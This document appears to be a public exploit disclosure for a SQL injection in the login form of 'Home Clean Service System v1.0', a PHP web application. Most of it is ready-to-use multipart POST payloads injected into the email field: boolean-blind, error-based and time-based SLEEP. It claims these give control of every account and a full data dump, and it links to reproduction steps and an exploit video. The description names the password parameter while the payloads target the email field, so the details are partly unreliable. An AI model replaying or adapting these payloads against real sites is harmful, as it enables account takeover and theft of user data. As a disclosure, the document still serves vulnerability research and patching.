Home Clean Service System version 1.0 suffers from a remote SQL injection vulnerability.
713a953a97cc2b254906ef14b96aecd818ac74f87d3c6e66fe86d43c4f287826
## Title: Home Clean Service System v1.0 - 2022 SQLi
## Author: nu11secur1ty
## Date: 04.27.2022
## Vendor: https://www.sourcecodester.com/users/acetech
## Software: https://www.sourcecodester.com/php/15293/home-clean-service-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/acetech/2022/Home-Clean-Service-System
## Description:
The `password` parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the password parameter, and a database
error message was returned.
Two single quotes were then submitted and the error message disappeared.
The attacker can take administrator account control and also of all
accounts on this system, also the malicious user can download all
information about this system.
Status: CRITICAL
[+] Payloads:
```mysql
---
Parameter: MULTIPART email ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: ------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="email"
[email protected]' OR NOT 6564=6564-- aWQp
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="password"
t8I!x2y!H3'
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="login"
------WebKitFormBoundary8kMPLwTOJeesgEBx--
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: ------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="email"
[email protected]' AND (SELECT 6279 FROM(SELECT
COUNT(*),CONCAT(0x7176716271,(SELECT
(ELT(6279=6279,1))),0x716a767871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- LSfT
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="password"
t8I!x2y!H3'
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="login"
------WebKitFormBoundary8kMPLwTOJeesgEBx--
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="email"
[email protected]' AND (SELECT 4830 FROM
(SELECT(SLEEP(5)))kgBM)-- GxTm
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="password"
t8I!x2y!H3'
------WebKitFormBoundary8kMPLwTOJeesgEBx
Content-Disposition: form-data; name="login"
------WebKitFormBoundary8kMPLwTOJeesgEBx--
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/acetech/2022/Home-Clean-Service-System)
## Proof and Exploit:
[href](https://streamable.com/l107o6)